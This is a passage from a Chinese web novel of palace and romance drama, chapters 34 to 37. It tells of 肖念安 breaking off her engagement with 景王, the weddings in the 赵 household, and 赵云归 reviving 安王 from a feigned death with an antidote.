“安王殿下刚走。”
“好，那带我去见父亲。”见身旁的侍女犹豫不说话，沈明昭推开她便自己往外走去。
实在是没办法只能带她过去。
眼神示意一旁的人先一步去通报一声。
“行了，去吧。”沈溢之摆了摆手，脸上全是疲惫之色。
沈静安将地上的东西捡起来放好，转身离开之时沈明昭正被扶着迈步走了进来，本严肃的表情瞬间消失。
“昭昭，你怎……”
沈明昭却像是无视了他的存在一般绕过他，无奈收回伸出的手转身看向她有一瞬的失神，在沈溢之的怒视下离开了这里，“滚滚滚。”
“明昭，你这是？”
视线从沈静安身上移开后便看到跪在身前的人沈溢之心中生出万般不忍，却没有起身去扶她，等着她说明来意。
“父亲，女儿不要嫁给安王。”
“唉。”果然啊。
只是，“这事没得商量。”沈溢之闭上眼，指尖轻按着眉心，“送她回去。”
“是。”
“别碰我。”沈明昭用力将准备扶她起来的手推开，“父亲！”
她知道沈溢之是为了她好，知道有些话沈溢之不喜欢她说出来，可是有些事不得不承认，“我就是个瞎子，父亲难道要女儿被那些女人欺负吗？”
听到这话沈溢之便不乐意了，“有为父在谁能欺负你？”
“谁敢欺负你？”
是吗？那又为何急着让她与箫祁政订婚？
没由来的一阵心酸让沈明昭紧咬牙关，止不住的眨眼才勉强不让泪水
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滑落，她的声音已经清冷却带了些颤抖，“那……以后呢？”
以后沈溢之离开了，又有谁会怜惜她。
她从前的一生都是被安排好的，她的一生都在服从，只有这一次，“父亲就让女儿自己做一次主吧。”
“父亲！”
沈明昭俯身，额头重重磕到地上。
沈溢之不说话她便不动。
“我的明昭也长大了！”有自己的想法了，他又怎会不知沈明昭心中所想，可他又怎么能放心她一人在外流浪呢。
“唉。”
“明昭啊，你先回去。”
“给为父再多一些时间。”容他再好好想想。
此时，外头那点微弱的阳光早已褪去了，天色渐渐暗下，赵云归今日施完针后没有再停留，没想到刚出了就遇到了丘竹。
他看上去更憔悴了。
“我感受到清音的身体有所好转，是你做的吗？”若是照这样下去谷清音一定会醒来像，丘竹的脸上是毫不掩饰的期待。
赵云归犹豫了一瞬，“公子想多了。”
“我怎会有这般本事。”
思索片刻说道，“许是……最后的时日了。”通俗的来说就是回光返照，也许这样丘竹便回离开这个对他充满威胁道地方吧。
“原来是……这样吗？”只是一瞬他脸上的笑容便消失不见了，“姑娘慢走。”
看着他落寞的背影赵云归只觉心中一阵一阵刺痛，“究竟要怎样？”究竟要怎样才肯离开啊！
未敢多做停留便抬步去找箫祁政了。
还未进去便听到里面的交谈声，赵云归便被慕珂拦在了外面，“有贵客在。”
贵客？
赵云归点了点头往里面瞟了一眼，这背影这声音明明就是沈静安，而且里面无他人，“好，那我先回去了。”
离开之时视线停留一瞬，要么就是她看错了，要么就是沈静安并非表面看到的那般简单。
只知多年前，沈静安的母亲生下沈明昭后便因一些原因丢了性命，刚过头七沈溢之便将他的宠妾抬为正妻，却因为他对于沈静安这个少年天才过于疼爱过于偏心别这位夫人便生了不好的心思。
丞相府的家事赵云归并不清楚，只是知道沈静安生辰之日被沈溢之其它孩子合力推倒水中，欺负他，等沈溢之发现之时他早已昏迷不醒，本想严查但等沈静安醒了之时却变了样，许是受了惊吓伤了脑袋，虽不是痴傻也不如他其它孩子了，也就歇了调查的心思，对他的关注也转移了。
长大后，沈静安也更加纨绔风流。
坐上马车，赵云归掀开帘子外面已空无一人，“走吧。”
回去后她便将上次拿走的穗子同刚写的信一同放进信封里送来出去，所有的一切都在有序的进行着，因为箫轻尘的事这段时间便没来得及找赵云归的麻烦了，不过她日日去往外跑难免会让宫中的人起了疑心。
就这样两个月过去了。
街道上的雪都化干净了，天气也在慢慢回暖。
青黛跪在书案前为肖念安研磨，自从莲心回到箫轻尘身边后她便整日在屋子里抄写经书，看着她这般模样青黛心中也难受的紧。
“小姐。”
“那人还在宫中时，景王还日日过来，如今倒好。”是一点影儿都见不着了。
“小姐！”
肖念安写字的手一顿终究还是坐不住了，静心将最后的几个字写完收好，放进木匣子，“明日将它送去给姑姑。”
“是。”
34.但愿你能得偿所愿吧
“慢些，路滑别摔着了。”青黛扶着肖念安坐上马车，看着外面的景象，过往的回忆无意不再让她心软。
那，“就……最后给你一次机会。”可千万别让人失望啊。
“小姐，到了。”
青黛将一旁的披风拿上，等下了马车后便上前为她系上。
走进。
肖念安站定下来，偏头看着里面两人的身影。
莲心看到她的瞬间脸上的笑意便消失不见，箫轻尘转过身脸上也染上些不耐，却还是要洋装欣喜的模样，“念安，你今日怎么想着到我这来了？”
“景王殿下！”
“我这等不到人道谢就只好亲自来了。”
箫轻尘就站在不远处看着，见他没有过来的迹象肖念安只好迈步走近，看上去还是跟以前一样没什么不对劲，“怎么，不欢迎我？”
“自然不会，只是下次可以提前说一声，本王好派人去接你。”
面对他并不真心的话语肖念安只是淡淡一笑，同他们坐下没有再接着他的话往下说，一旁的莲心见状给两人倒了水，本准备离开却被箫轻尘拉住了手，“不用走。”
看着两人相握的手，满含深情的对视，肖念安真想将桌上的水泼过去，可这么多年良好的教养让她压住了心底的情绪，笑意盈盈，“是啊。”
“我们见过的，无需害怕。”
毕竟，“你能出来还是我去求的情呢。”
“多谢。”
虽觉得不合适松开了手，可肖念安的眼神却始终落在她的身上，眼中不满的情绪溢出，莲心便对她重新行礼，“多谢，肖姑娘。”
“若是姑娘日后有什么需要，尽管提。”
看到她有些不太服气的模样，眉头轻挑，“好啊。”
只是啊，“我以后是叫你莲心好，还是阿然好呢？”肖念安看上去很是不屑的看着她，见她局促的低下头，箫轻尘低压的声音传来。
“阿然。”
“有我在别害怕。”
看着她们再次拉在一起的手肖念安别看了眼，强作镇定，“哈哈。”
“说得对呀！”
肖念安不想接箫轻尘的话头，起身走到莲心身边，将她拉了起来，看上去很满意的点了点头，“还是……莲心懂规矩呢！”
既然如此，“那你走吧。”
“走……走？”只是一瞬她的眼底便泛起一丝惊慌失措，慌乱的看向一旁的箫轻尘，“要我走去哪儿啊？”
“肖念安！”
“你别太过分了。”
箫轻尘终于忍不住了，起身拉住了莲心的手毫不避讳的将她揽入怀中，安抚着她。
过分？究竟是谁更过分？
“小姐！”
肖念安转身将青黛拉着回到原来的位置，“别动，别多嘴。”
“是。”
重新调整好表情后才转过身看着还搂在一起的两人，“怎么？”
“我说错了？”
“难道……日后…我们成婚，甚至洞房你也要如此当着我的面搂着她吗？”肖念安的手紧紧握着压制着心中的怒气看着两人。
她的心中仍抱有一丝期待，可箫轻尘的目光始终在她怀中的人。
也许，沉默就是最好的回答。
“哼。”肖念安只觉被什么无形的东西压的喘不过气了，泪水滑落，积压已久的情绪占据了她最后的理智。
“你真的了解她吗？”
“她已非完璧之身了，你知道吗？”
“那又如何？”箫轻尘提高音量吼着，突如其来的一下吓得肖念安轻颤了一下，“阿然心地善良不像你……坏事做尽！”
“我……你拿她跟我比？”那她这么多年的努力算什么，为了成为他们心中的才女她没日没夜的研习，所有的一切好像在这一刻崩塌了。
凭什么？
凭什么她是心地善良，而，“我坏事做尽？”
“哈哈哈！”原来这就是她的报应啊，肖念安愣在原地只觉胸口疼痛的厉害，箫轻尘的话在脑海中乱撞，扰的她有些恍惚。
“若是我，执意要她走呢？”
“我绝不允许。”
看着那没有一丝犹豫指向自己的剑，眼泪再也止不住的落下，直到这一刻肖念安才意识到，真的再也回不去了。
冰凉的指尖带走脸颊上的泪水。
“好。”
肖念安取下在脖颈上的红绳，看着上面一半的白玉，眼中的留恋不似作假，只是，另一边估计早就被箫轻尘遗忘在某个角落了吧！
“想要吗？”把这个东西要回去他就可以去找皇上退婚了，就可以光明正大的和他心心恋恋的人在一起了。
“你……”
箫轻尘犹豫了，眼中闪过一丝其它的情绪，可是手中的剑依旧稳稳的指向她。
看着她怀中人的模样肖念安就恶心。
“不想要吗？”
“给我。”
“好啊！”肖念安抬起手却并没有想要给他，就在箫轻尘收回剑的瞬间她取出腰间的匕首拔出，解开斗篷，将匕首对准他们。
“肖念安！”许是没想到她当着自己的面就敢如此，愤怒的再次将利刃指向她。
“哼。”肖念安往前走去那剑却未曾收回，抵在了她的肩膀处，可她却还在继续往前走，直至肩膀处传来隐隐刺痛才停下。
“砰。”
手中的东西落在地上，“但愿你能……得偿所愿吧。”
说完她捂着已渗出隐隐鲜红的肩膀转身，踩在那从前舍不得拿出的斗篷上，离开了这里。
“小姐。”
青黛看着她手心的点点血迹担心的很。
“咳咳咳。”肖念安轻咳两声，脸上却没有丝毫痛苦的神色，“送经书时知道说些什么了吗？”
“知道。”
微风袭来，小雨忽至，街道上的人也渐渐少了起来，喝完药后赵云归将箫祁政推到了外面，蹲在旁边轻轻按着他的腿。
腿上感受到这轻微的力道，箫祁政摸了摸她的的头，眼中笑意温热，“辛苦了。”
赵云归任由他拉着自己的手，抬头看着他，笑意满满的摇了摇头，这一切都快要结束了，所以，这，“一切都是值得的。”
“真好。”如今这般真好！
没一会儿慕珂几人便提着食盒回来了，赵云归连忙站起身去帮忙，剩下的时间还是像往常一样扶着箫祁政做康复然后去给谷清音诊治。
只是，“为何这些时日未见到丘竹了？”之前他都是会守在谷清音旁边的。
“带他去了别处。”
别处？慕珂表示肖暮云已经怀疑他了，怕暴露谷清音的位置便将他带到别处安置了，等过段时间再送他回来。
那，“我可以去吗？”
“王爷吩咐了，过段时间亲自带二小姐去。”
“好。”她心中自然明白箫祁政是想要等腿好后再让两人相见，赵云归也不好再纠缠什么，收拾了一下便回去了。
可今日回来院子里却意外是一片漆黑。
“嗯？”
“花芷今日这么早便歇下了吗？”之前她都会等她回来的，“不舒服吗？”
推开房门。
月光率先一步闯入，走
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近点燃蜡烛却没见到花芷的身影。
“奇怪。”今日这么晚了怎么不在房间里？
“小秋。”
赵云归刚走出去小秋便迎了上来，“二小姐有何吩咐。”
“花芷呢？”
“在……书房。”小秋的表情不太对劲，赵云归心中顿时生出一丝不好的预感，迈步绕过她走出院子，朝着府中的书房走去。
“绾绾？”
“你怎么到这边来了？”还没到书房就见花芷背着手慢步走了过来。
赵云归毫不掩饰的打量着前面的人，心中充满了矛盾，在花芷的注视下挣扎着开了口，“来看看你在干什么。”
“我？”
“就……随便走走啊。”
察觉到她眼神中的一丝心虚，赵云归的眼神落到了她始终背在身后的手上，见花芷往后退了一小步才移开了眼神，“好，回去吧。”
“嗯。”
花芷走近挽住她都手，另一只手却始终在赵云归看不见的位置。
一夜无言。
次日清晨，箫轻尘伸手握住莲心的手，将她扶下马车，轻柔的抚摸着她都脸颊，“别担心。”
“嗯。”
两人跟着侍女去到了慈宁宫，在门外等着便看到了青黛走了出来，她却像是没看到两人一般径直离开。
“青……”箫轻尘本想要叫住她，肖暮云便让人喊他们进去了。
“太后。”
在肖暮云投来视线的瞬间莲心便害怕的将手抽了出去，跪下了。
纪绍见状将桌上的点心喂到了肖暮云的嘴边，权当下面的两人不存在，“太后尝尝。”
“好！”
箫轻尘见莲心一直跪着心中不忍，眼见肖暮云根本没理他们，他也跪了下去，“太后！”
“啧。”
肖暮云不耐的看向两人，“行了，起来吧。”
箫轻尘讲述着她的来意，肖暮云则闭着眼倚靠在纪绍怀中，眉头始终没有舒展开过，等他的声音停了肖暮云才缓缓睁开眼。
拿起侍女呈上来的那对信物，打量着。
“退婚？”
当初这桩婚事是肖暮云定下的，要退婚理应来找她，有些嫌弃的将它丢到地上，纪绍便拿起手帕轻轻给她擦拭着，“念安同意了？”
“是。”
肖暮云沉默了下来，纪绍见状才开了口，“太后，我可是听说是景王殿下伤了肖小姐才得到这信物的呢。”
“是吗？”肖暮云虽装作不知道可箫轻尘瞬间便想到了刚离开的青黛，不给他开口解释的机会纪绍竟帮他辩解了。
“太后。”
“我相信景王也是被迷惑了。”
见箫轻尘未再开口解释，肖暮云点了点头，将腿搭在他的腿上，轻轻抚摸着他的脸颊，“那你觉得该如何是好呢？”
“就该……将迷惑景王之人乱棍打死。”
“太后，不可！”
就在他慌乱之际肖暮云的声音直冲他的脑海。
“好。”
“听你的。”
见莲心被人抓住箫轻尘再次跪下，“这一切都是我所做，她是无辜的，太后！”
“哼！”看到想要的场景肖暮云抬手制止了他们都行为，莲心也被狠狠的丢在地上，见他老实跪着肖暮云到失了兴趣。
莲心到底无不无辜，还得看箫轻尘怎么做，所以，“我再给你一次机会。”
将她送走她便无辜，执意如此她便不无辜。
看着身旁满意含泪的莲心，箫轻尘的手紧紧握住，声音也变得低沉。
“我……”
35.他说他要娶我
“我不会娶那个恶毒的女人。”
“啪啪啪！”见他还是如此肖暮云低笑着拍手叫好，“你们几兄弟果真是一样的有骨气呢。”
纪绍扶着肖暮云起身走到两人身边，给了莲心身后之人一个眼神他们便在一个将她扣住，却依旧不敢挣扎。
“景王娶谁不娶谁哀家管不了，也不想管。”
只是啊，“她是哀家的人！”本想着肖念安不关心便也懒得管她了，可今日箫轻尘闹这一出便不可能再将她带出宫去。
看到肖暮云冷冽的眼神莲心顺从的被两人押了下去，箫轻尘想要推开那些人却被拦住了，许是体力太过悬殊，只能眼睁睁的看着莲心被带走了。
“哀家乏了，景王自便。”
箫轻尘没办法了，便去见箫元义却依旧等不到他想要的结果，带着重新回到自己手中的信物去了肖府，却被拦在了门外。
谁也不帮他，谁也帮不了他。
漫长的冬日过去，春日的暖流融化了那点点积雪，推开房门，暖风拂面，发梢随之飘起。
再过几日便是赵心缇的大婚之日了，府中上上下下都在忙碌着，赵云归也是跟往常一样，大早便出去了。
“让我看看，今日该到谁了！”花芷站在书架前，指尖在面前的那一排书上滑动着，停下后取出要不然呢走了出去。
顺着放了好几日的梯子爬到树上，整个人趴在粗壮的枝干上，乌黑的长发自然垂下，看着手中的话本子入了神。
缱绻微风袭来，轻薄的长裙还有那乌黑的发丝随之飘起，花芷脸上的表情跟着话本子上的内容不断变化着。
“哈哈。”
“云归找的这话本子可真有意思。”
所有的注意都被吸引了去，完全没注意到有人走近。
“姐姐，好久不见。”熟悉的声音传来，花芷一愣移开话本子的瞬间看到了那熟悉的脸庞，只是那原本充满活力的脸却多了些许沧桑，声音也不似从前了。
“你……”怎么会在这里？
“咳咳。”燕半梦轻咳两声却像是要被这微风吹倒了一般，许久未见怎的这般弱不禁风了，“姐姐还真是锲而不舍呢。”
“我……”
没有想到会再次见到她，什么反驳的话都说不出口了。
“高梨哥哥！”眼神从花芷身上挪开，燕半梦的脸上终于多了些笑意。
果然，他也回来了。
眼中是难以掩饰的兴奋，像是已经感受到他的呼吸心脏瞬间狂跳不止，想要第一时间看向高梨却忘了她此时此刻还趴在树上呢。
“啊！”
“高梨！”睁开眼时，闯入视线的是那张心心恋恋的脸庞，可他的脸上却没有一丝重逢的喜悦，花芷有些尴尬的松开手，高梨没有一丝不舍的将她放下。
“以后别爬这么高了。”
“嗯，知道了。”
“高梨！”见他转身离开花芷想要追上去给他解释，手却被拉住了。
“姐姐？”
“高梨哥哥最近有些忙，姐姐若是有事便跟我说吧。”燕半梦笑的亲昵让人生不出拒绝的心思。
只是，“他在忙些什么？”
“我与高梨哥哥马上要成婚了，只是时间仓促也就有的他忙了。”说着燕半梦的脸上洋溢着幸福的笑容，脸颊也在不觉中染上一丝绯红，整个人都沉浸在喜悦之中。
可花芷听到这个消息后眼神空洞，意识变得模糊，周围的一切仿佛都变得模糊了。
“姐姐。”
“姐姐？”
“嗯？”在燕半梦的叫喊声中她才缓过神来，“你刚刚说什么了吗？”
“我说……”燕半梦停顿了一下，死死的盯着她，见她看过来嘴角再次挂上笑容，“姐姐，你会祝福我们的吧？”
祝福？
花芷用力的攥了攥手，压下心底别样的情绪点了点头，带着一丝苦涩开口道，“当然。”
“哪日成婚啊？”
“与长姐同一日。”燕半梦笑的明媚，花芷心中便刺痛的厉害。
他们本就是青梅竹马，这一切早该料到了。
“嗯，挺好的。”她的神情有些恍惚，嘴角勾起一丝自嘲的笑，话语间没有一丝情感，“一定要幸福。”
“会的。”
听到她的祝福后燕半梦终于心满意足的松开了手，绕过她小跑着离开，“高梨哥哥，我就说花芷姐姐也会祝福我们吧！”
“嗯，走吧。”
原来……他一直都在！
听着逐渐远去的脚步声，花芷深吸一口气，眼皮沉沉垂下，泪水滑落，“哼！”
“原来……”真的一切都是自作多情。
酿跄着走回房间，瘫坐在床边，心痛的快要呼吸不上来了，却如何也流不出眼泪了，伸手拿起一直放在枕边的那个木雕，颤抖的指尖轻轻抚摸这和她七分像的脸，泪水蓄满眼眶，“真丑。”
“他已经不要你了。”
既然如此……
她起身拿手帕将脸上的泪痕擦拭干净，推开门快步走到远处的池边，只听扑通一声她手中的木雕便重重的砸起了一个水花。
“那我也不要你了。”
“这是在看什么呢？”
花芷转过身看去，一看她的眼睛就知道她刚刚哭过，正准备开口问问发生什么了，她便委屈的抱住了赵云归，“绾绾——”
“你今日怎么回来的这般早啊。”
花芷的声音有些哑，却极力控制着，不想让赵云归担心。
赵云归抬手轻轻摸着花芷的头，“以后都不用去了，在家陪你。”
“嗯。”
“回屋吧，别受凉了。”
“好。”
箫祁政的腿已经不需要她再去施针了，只是他还不想这么早便让人发现，不过后面的事便不需要赵云归去操心了，只需等谷清音将药吃完再去了。
后面几日赵云归还是会往赵心缇那里跑，陪她收拾布置。
高梨每日都会同燕半梦出去，以至于临近大婚她才知道高梨已经回来了，赵云归本想要缓和一下两人的关系，奈何高梨不主动找她，她根本就见不到人。
“唉。”这种事也只能靠他们自己了。
清晨，花芷抱着一束花回到院子，神神秘秘的将赵云归拉回房间，“安王他……出事儿了。”
出事？
他能出什么事？
“什么？”脸上原本轻松的表情消失不见，她未曾打听自然不知道外面都发生了些什么。
花芷也是今日在街上无意中听说的。
不知为何朝中突然有不少人上奏弹劾箫祁政，他如今已经被禁足在府中了，前几日还有人刺杀，虽说未得手，这事也在坊间传的沸沸扬扬的，说什么的都有。
“所以说……”箫祁政便借此散播了肖暮云与箫元义联手杀害皇子，废他双腿之事。
“他已经打算动手了吗？”
“不对。”还远远不够，肯定还有事情没做。
不过赵云归还是那句话，让花芷不要去管这件事，免得被人盯上。
“对了。”
“你这几日与高梨见过了吗？”有跟他提那件事吗？
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如今再说这些，已经……“不合适了。”花芷极力控制着自己的情绪，可她的笑容看上去依旧很勉强。
“发生什么了？”
得了命令没人敢同赵云归提起，高梨要成婚的消息赵云归今日才从花芷口中知道，这一切都太突然了。
“同谁？”她怎么连人都没见到。
不过就算她知道是谁了也不认识，赵云归想要去同高梨问清楚，却被拦住了。
一切都已成定局。
赵云归走近抱住她，轻抚着她的背，“实在是难过就哭出来吧。”
“哭出来就好了。”
“绾绾。”
可是哭也改变不了什么了，徒增伤悲罢了。
外头的天已经暗了下来，赵云归跪坐在一旁看着赵心缇梳妆，她今日才知道赵离为她找的是一个赘婿。
既能继续留在赵府管事，又能避免皇帝选妃。
“阿姊，今日真美！”
赵心缇抬手轻轻碰了一下头上的冠，红唇轻抿不好意思的垂下眼眸，“等到云归成婚之日也会很美吧。”
“云归定是最美新娘子。”
若是真到那日，希望一切都与她不同吧，那日云归应当是幸福的才对，只是，不知道还有没有机会看到了。
“才不对。”
“阿姊才是最美的新娘子。”
外头的锣鼓声响个不停，孙妈妈终于迈着那缓慢的步走了进来，“吉时已到。”
“大小姐，请吧。”
赵云归连忙起身将桌上的团扇递到她手上，扶着她站了起来，等来人将她扶着往外走去，赵云归便跟在了后面。
大红灯笼高高挂起，随处可见的“囍”字和鲜艳的红绸尤为醒目。
只是，有些，“奇怪？”
这外面，“为何没人？”
外头竟全是府中的家丁丫鬟，并未宴请宾客，如今看来虽有乐声却无人气，冷清的很。
这……“未免也太敷衍了吧。”
跟着孙妈妈朝另一个方向走去，终于看到了些人，见她没管着赵云归快步走到了花芷身边，拉住了她的手。
知道她在担心什么，花芷对着她摇了摇头，脸上的笑意不似作假，“不用担心。”
“我没事的。”
许久，两对新人才牵着红绸走进正堂，柳眉昭一人坐在长辈席上，如此喜事可就连赵离都未曾到场，等新人站定便是拜天地了。
“一拜天地，苍天为凭地为证。”
“二拜高堂，终生不忘养育恩。”
“夫妻对拜，偕老白头万事顺。”
三拜复三起，等新妇敬完茶，孙妈妈才再次开口，“礼成，送入洞房。”
府中本就未宴请宾客，新人回房外头也都散开了，若不是这布置的尤为喜庆的府邸倒让人怀疑是大梦一场了。
房中烛火摇曳。
高梨却遣散众人，免了后面的仪式。
看着桌上的合卺酒出了神，“你如今不宜饮酒便早些休息吧。”
“不行。”
燕半梦着急起身去拿起合卺酒走回床边，“什么都可以免，这个不行。”
“好。”
快速饮下夺过燕半梦手中的酒杯起身去放了回去，看着房间里唯一的床榻皱起了眉头。
“早些歇息，我今日先睡地上。”
看着他抱着被褥铺在地上，燕半梦再也止不住的落下泪来，她虽生在边疆却也是被捧在手心中长大的，若不是为了高梨她何时受过这般委屈。
“你这是在怪我逼你娶我吗？”
36.我的命便交给你了
脱掉外衫，高梨没有理会她，背着她躺下了。
“高梨！”
“我明明是为了救你才的受伤，你凭什么这般对我。”她的声音哽咽着，可心中明白不能让外头的人看了笑话去，所以声音压的很低。
泪水被烛火照的剔透，看着地上无动于衷的人燕半梦强忍着压低抽泣声，指甲用力嵌入掌心的肉中，留下一道道月牙。
“哼嗯——你有什么资格这样对我。”
“咳咳。”嘴中充斥丝丝甜腥，燕半梦无力的跌坐回了床榻上，侧倒下去，泪水打湿了被褥。
次日清晨，高梨终于发现了床榻上的人不对劲了，找来大夫才知道她这是气急攻心导致旧疾复发了。
看着床榻上穿着婚服却昏迷不醒的热巴大夫无奈摇头，“以后不要惹你娘子生气了。”
“嗯。”
燕半梦休养了一个月身子才勉强能下床走动。
虽说已经成婚，奈何柳眉昭不愿搬回去住，赵心缇就像往常一样在外头的院子住下，照顾她。
一切都很平常，直到有一日赵云归从安王府回来后，花芷闲来无趣便叫上她一起搭秋千，没一会儿小秋突然着急忙慌的跑了过来，“二小姐，安王府找。”
“为何不进来？”
“奴婢不知。”
放下手上的东西，洗净擦干便出去了。
“小公子？”怎么只有他一个人来，“你怎么来了？”
“二小姐！”
赵云归没有一丝准备慕珂就直挺挺的跪在了她身前，下意识准备伸手去扶她，只是一瞬这个想法便被打散了。
感受到很多不善的视线落在身上，赵云归双臂环抱，眼神冰冷俯视着慕珂，“有事说事。”
“求找二小姐帮帮我家殿下吧。”
“嗯？”箫祁政出事了？可，就算真的出什么事了慕珂如今这模样也不太对劲啊。
赵云归蹲下身，声音里带着一丝急切，“呀，近日的事我也听说了，不知他如何了啊？”
“王爷被追杀。”
如今，“如今……失踪了！”可朝中却没有一个人愿意出手帮他。
说着，慕珂握住了她的手臂，“王爷如今生死未卜，只有二小姐能救他了。”
“哼。”看着他不断用力的手，轻笑一声用力挣脱她的束缚，嘴角微勾，“你放心。”
“我……比任何人都希望他死。”
“这样婚约就作废了啊。”
听到这话，慕珂像是收到了极大的惊吓一般，说不出话来，赵云归微微偏头不屑的看着她，“怎么？”
“很…让人难以置信吗？”
“快回去吧，说不定哪个好心人会乐意将他的尸身送回去呢！”赵云归故意提高音量，话语间的笑意没有一丝掩饰。
抬眼的瞬间，原本看着他们的人着急忙慌的移开视线，虽然很明显，赵云归也只能当做没看见。
转身离开，留慕珂一人愣在原地。
回去后继续蹲下身和花芷一起捣鼓地上到东西，花芷瞬间便感觉到她有些心不在焉到了，“怎么了？”
“没事。”
“嘶。”
“绾绾！”花芷把手上的东西丢到一边，拉过她的手，鲜红的血液从她那娇嫩的皮肤中渗出，满是担心的拉着她回房，“怎么这么不小心啊。”
找出药箱给她处理伤口。
“花芷。”
“嗯？怎么啦？”怕她有什么急事，边回应着她边继续着手上的动作。
“我晚点可能要出去一趟。”
花芷将药涂上手包好，点了点头，“嗯呐，去呗。”
“好了。”
包扎好后，花芷起身坐在她身边靠在她的肩膀上，紧紧握住她的手，“想做什么就去做，这里有我在呢。”
“保证不会让他们发现的。”
等花芷把秋千搭好天色也慢慢暗了下来，等赵云归出去后她便回房关紧了门。
今日夜晚的街道格外的热闹。
赵云归掀开马车帘子的帘子，一抹熟悉的身影闯入她的视线。
清儿？
还有，他！
“停一下！”
走下马车，随意走到一个摊子前停下。
只见清儿身着一袭粉红长裙，洁白的珍珠落在肩头，帷帽上的珍珠随着她的一颦一笑摆动着，如神女落入人间。
在肖权的搀扶下走上了马车。
“姑娘需要些什么？
思绪被拉回，赵云归随意拿了一个东西付了钱便重新回到了马车上。
“走吧。”
每次看到清儿便感觉心中一阵慌乱，总想伸手将她拉出，哪怕在她眼中那并不是泥潭。
今晚的月亮早早的便躲进了云层，微风轻抚，抚平了她浮躁的心，可颠簸的马车却再一次引人心中慌乱。
掀开帘子，外头一片漆黑，只有马车上的灯笼那点光亮让她勉强视物。
许久，本越来越快的马车终于停下。
“到了。”
接过慕珂递来的伞，踩进一个又一个泥潭，走上这条路，原本干净的鞋子和裙摆都免不了染上泥污。
跟随着慕珂一同停下脚步，取出一个红色瓷瓶递给她，“去吧。”
“留给你的时间不多了。”
这假死药的时限一过就算服下解药也是无济于事，到时候假死便成真死了。
“好。”
慕珂翻看着那一具具没了生气的人。
“找到了。”
赵云归走近，看着脸色苍白，浑身湿透了的箫祁政被喂下药。
时间一分一秒过去，雨滴砸在伞面上的声音无限放大，注视下箫祁政的眼皮终于动了。
“阿音——”
箫祁政站起身走近，两人对视着，赵云归将伞举高了些他才继续走近，感受到一丝淡淡的尸臭她却没有后退。
静静看着他，拿出一方手帕为他擦拭着脸上的雨水。
寒风肆意朝他们扑来，沾上水的裙摆顺着风贴上脚踝，一丝凉意涌上，松开手，手帕随风而去。
“今日之后……”便再也没有安王了。
他以后便只是赵云归身边一个普通的小侍卫，“我的命便交给你了。”
在箫祁政炽热的眼神中，赵云归取下挂在腰间的面具举起，贴近他的脸，“戴好。”
话音刚落箫祁政便抬手系好它。
在赵云归收回手的瞬间握住了他的手腕，声音里满是隐忍。
“阿音！”
“我在！”
听到赵云归的声音，箫祁政拉她入怀，将她的手搭在自己腰间，迫使她抱住自己，“我终于……终于可以抱住你了。”
说着他一手抱住她一手接过她手中的伞。
“我的阿音。”
“走吧，该回家了。”
此时的太尉府外，箫轻尘已经跪了一整天了，青黛也不知是第几次开门出来了。
“唉。”
青黛将手中的伞放在箫轻尘身旁。
“王爷还是回吧。”事情闹的那般难看，这府中之人是无论如何也不会再见他了。
见他依旧没有起身的打算，看着被风吹走的伞青黛转身便看到了肖念安的身影，“小姐？你怎么出来了？”
看着对视的两人，青黛便先进去了。
“阿念……”
箫轻尘微微仰头，雨水顺着伞沿精准砸在他的脸上，可他已经顾不上了，“对不起。”
他的声音真诚，肖念安眼皮轻颤，冷漠的移开视线可手中的伞却还是没忍住偏了向他。
“说话！”
“阿念，再帮我一次。”
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他的眼神一直看着肖念安，见她始终不愿低头看他，无奈低下了头，“如果……”
“我娶你……你能放了她吗？”
“哼。”都这个时候了还要恶心她。
“我堂堂京城第一才女，太尉嫡女，还没有沦落到嫁不出去的地步。”肖念安失望的往后退了一步，再次看到他那沾满雨水的脸上转身走回府中。
门这一次关上。
青黛连忙跑过来将手中的外披给肖念安穿上，“小姐，回屋吧。”
“不用。”摇了摇头，走到了亭子里。
肖念安静静盯着外头，伸出手，待她沾满了雨水才收回，接过手帕走到旁边坐下。
“小姐……”
青黛从小便跟着她，又怎会察觉不出他心中的不忍，她知道箫轻尘因为之前重伤失去了过去的记忆，忘了肖念安。
可，明明还有机会，“小姐若是不舍，为什么不帮景王殿下找回记忆呢？”
对啊，明明还有恢复记忆的可能。
为什么不去试试呢？
或许，在他失去记忆爱上别人的那一刻，“我同他便已经注定无缘了。”
再去强求些什么，到了最后也只会伤了那最后的一丝情分罢了。
“你看啊！”
他一直都是这样，是一个只为自己考虑的人，安于现状，一个连自己心爱之人都保护不了的人。
“他曾是我一生所爱。”
可是，“我爱的啊……”只不过是……“是曾经那个意气风发的少年郎。”
可，如今她才明白，人都会变的，那个记忆中的少年之所以会闪闪发光，是因为，“我……因为我……”为他镀了一层薄薄的光。
如今看清了，光便也就散了。
她的眼神始终落在外面，雨声慢慢小了下来，“咳咳咳。”
“小姐。”
青黛见状连忙上前给她倒了杯水，轻轻拍着她轻薄的背，“回去吧。”
“我去看看药熬好了没。”
“嗯。”
扶着肖念安回房，没一会儿就端着一碗热腾腾的药走了进去，“买了一些其他口味的蜜饯，小姐喝完药可以尝尝。”
“好，先放着吧，我过会儿再喝。”
“小姐还是趁热喝吧。”说着她将药端起，递到了肖念安身旁。
接过碗，看着里面她的倒影，早已习惯了这股难闻的味道，“青黛，这药我……喝了多久了？”
“五年了。”
“哼！”
对啊，五年了，可为什么她的身体一点好转都没有呢，无奈摇了摇头，碗中的药被她一饮而尽，青黛见状连忙将装着蜜饯的碟子端起，“多吃点甜的，便不苦了。”
肖念安只是看了一眼便摇了摇头，侧躺在了床榻上，“不吃。”
“拿走吧。”
青黛端着空碗离开后，微热的泪水从她泛红的眼眶滑落，“苦点也好。”
嘴里苦了，心里或许就没那么苦了吧。
眼泪越流越多，她也在这个寂静的夜里沉沉的睡去了。
“到了。”
两人走下马车，雨早就停了。
“姑娘！”
赵云归点了点头，拉着海棠走进了房间，换了一身衣裳后，去找到一个木匣子递给她，“这个宅子归你了。”
“你可以将她卖出去。”然后离开这里，“也可以呆在这里。”
她做什么决定赵云归都不会掺合，只是，“以后我便不会再来了？”
“为什么？”海棠一时间有些慌乱，若是让她一个人她定是不知道该如何生活的，“我只想跟着姑娘。”
“你……”
看着海棠的模样她有些心软，可跟着她太危险了，所以定不能答应，“不行。”
“你好好想想吧，我先走了。”
37.这，真的只是老毛病吧
“云归。”
“阿……”熟悉的声音将原本落在花芷身上的视线抢走，可看到他旁边的那一抹身影时脸上的笑容却僵了一瞬。
这还是他们大婚后头次一同来这边呢。
“阿兄。”
“嫂嫂。”
原本在推秋千的手一顿，再次低头看向花芷，却不好开口说些什么，手轻轻搭在她的肩膀上的瞬间花芷也轻轻拍了拍她的手，侧过头低声道，“无事。”
